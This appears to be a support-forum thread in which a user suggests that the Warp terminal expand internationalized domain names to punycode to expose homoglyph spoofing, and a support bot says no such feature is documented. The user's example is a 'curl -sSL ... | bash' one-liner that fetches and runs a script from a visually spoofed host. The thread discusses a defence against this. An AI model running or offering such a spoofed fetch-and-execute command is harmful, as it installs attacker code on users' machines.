Looking at this tweet for example https://x.com/sheeki03/status/2018382483465867444?s=20 it's clear I think that Warp could help increase security by converting curl -sSL https://іnstall.example-clі | bash into curl -sSL https://xn--nstall-ovf.xn--example-cl-62i | bash
#Expanding IDNs for security
brittle leaf
waxen abyssBOT
Hi @brittle leaf. I'm kapa.ai, your friendly support bot. I will try to answer your question by searching through the knowledge base. :wave:
The knowledge sources don’t mention any existing Warp feature that normalizes or expands IDNs / punycode in commands, nor any roadmap item specifically about this kind of security protection. I can’t confirm that Warp currently does what you’re suggesting.
What is documented is that Warp has some security‑oriented features and requests, like:
- Secret redaction for masking sensitive values in terminal output and shared blocks. [Secret redaction]
- User suggestions around security helpers when sharing blocks (e.g., replacing env values with
$ENVVARnames before upload). [Block sharing envs] - An open issue about needing better protection against prompt injection and generally improving security posture. [Prompt injection issue]
Your idea—detecting suspicious IDNs like <https://іnstall.example-clі> and showing or converting them to their punycode form (<https://xn--nstall-ovf.xn--example-cl-62i>)—fits into the same “secure‑by‑default” category as those discussions, but I don’t see any explicit mention of IDN / Unicode spoofing protections in the available docs or issues.
Given that, the best next step would be to file a feature request on the Warp GitHub repo describing:
- The attack pattern (visually confusable Unicode in hostnames / paths).
- The desired behavior (e.g., highlight suspicious Unicode, show punycode on hover, or auto‑expand to punycode in the editor).
- A link to that tweet and similar examples as motivation.